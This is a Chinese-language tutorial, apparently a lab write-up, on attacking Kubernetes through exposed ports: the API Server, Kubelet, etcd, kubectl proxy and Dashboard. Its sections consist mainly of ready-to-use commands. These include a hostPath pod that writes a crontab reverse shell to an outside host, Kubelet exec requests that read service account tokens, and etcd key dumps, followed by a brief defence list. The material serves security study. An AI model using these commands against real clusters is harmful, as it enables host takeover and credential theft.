云上攻防(二)-端口层面攻击
字数 1431 2025-08-23 18:31:17
Kubernetes端口层面攻击与利用全面指南
1. Kubernetes默认端口概览
Kubernetes集群中各组件的默认端口如下:
| 组件名称 | 默认端口 |
|---|---|
| API Server | 8080/6443 |
| Dashboard | 8001 |
| Kubelet | 10250/10255 |
| etcd | 2379 |
| kube-proxy | 8001 |
| Docker | 2375 |
| kube-scheduler | 10251 |
| kube-controller-manager | 10252 |
2. 端口扫描与信息收集
2.1 使用fscan进行端口扫描
fscan.exe -h 192.168.108.102,192.168.108.100,192.168.108.101 -p 1-65535 -np -nopoc -nobr
2.2 使用nmap进行端口扫描
nmap -p 1-65535 192.168.108.100-102
3. API Server攻击 (8080/6443端口)
3.1 8080端口未授权访问
攻击条件:
- 旧版本K8s默认开启8080端口
- 新版本需手动配置:
然后重启服务:# /etc/kubernets/manifests/kube-apiserver.yaml - --insecure-port=8080 - --insecure-bind-address=0.0.0.0systemctl daemon-reload systemctl restart kubelet
利用方法:
kubectl -s 192.168.108.100:8080 get nodes
3.2 创建恶意Pod挂载宿主机目录
YAML示例:
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
利用步骤:
- 创建Pod:
kubectl -s 192.168.108.100:8080 create -f malicious-pod.yaml - 进入Pod写入定时任务:
kubectl -s 192.168.108.100:8080 --namespace=default exec -it test bash echo -e "root bash -i >& /dev/tcp/192.168.108.131/9999 0>&1\n" >> /mnt/etc/crontab
3.3 6443端口利用
攻击条件:
- 配置不当导致匿名用户拥有管理员权限:
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
利用方法:
kubectl --insecure-skip-tls-verify -s https://192.168.108.100:6443 get node
4. Kubelet攻击 (10250/10255端口)
4.1 配置修改
修改/var/lib/kubelet/config.yaml:
authentication:
anonymous:
enabled: true
authorization:
mode: AlwaysAllow
然后重启:
systemctl restart kubelet
4.2 利用方法
- 获取运行中的Pod信息:
curl -k https://192.168.108.102:10250/runningpods/ - 在容器中执行命令:
curl -XPOST -k "https://192.168.108.102:10250/run/default/nginx-6867cdf567-9sv8d/nginx" -d "cmd=id" - 获取Service Account Token:
curl -XPOST -k "https://192.168.108.102:10250/run/default/nginx-6867cdf567-9sv8d/nginx" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" - 使用Token访问API:
kubectl --insecure-skip-tls-verify=true --server="https://192.168.108.100:6443" --token="<TOKEN>" get pods
5. etcd攻击 (2379端口)
5.1 配置修改
修改/etc/kubernetes/manifests/etcd.yaml,将--client-cert-auth=true改为false
5.2 利用方法
etcdctl --endpoints=https://192.168.108.100:2379 get / --prefix --keys-only
带证书访问:
etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://192.168.108.100:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
6. Kubectl Proxy利用
启动代理:
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=9999
7. Dashboard攻击 (8001端口)
7.1 安装Dashboard
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-rc7/aio/deploy/recommended.yaml
7.2 修改配置
- 修改命名空间:
sed -i '/namespace/ s/kubernetes-dashboard/kube-system/g' recommended.yaml - 添加以下配置:
spec: type: NodePort ports: - port: 443 targetPort: 8443 nodePort: 30001
8. 防御建议
- 关闭不必要的端口和服务
- 实施严格的RBAC权限控制
- 使用网络策略限制端口访问
- 定期更新Kubernetes组件
- 启用TLS加密通信
- 监控异常API调用和端口扫描行为
9. 参考工具
通过全面了解Kubernetes各端口的攻击面,安全团队可以更好地评估集群安全性并实施针对性的防御措施。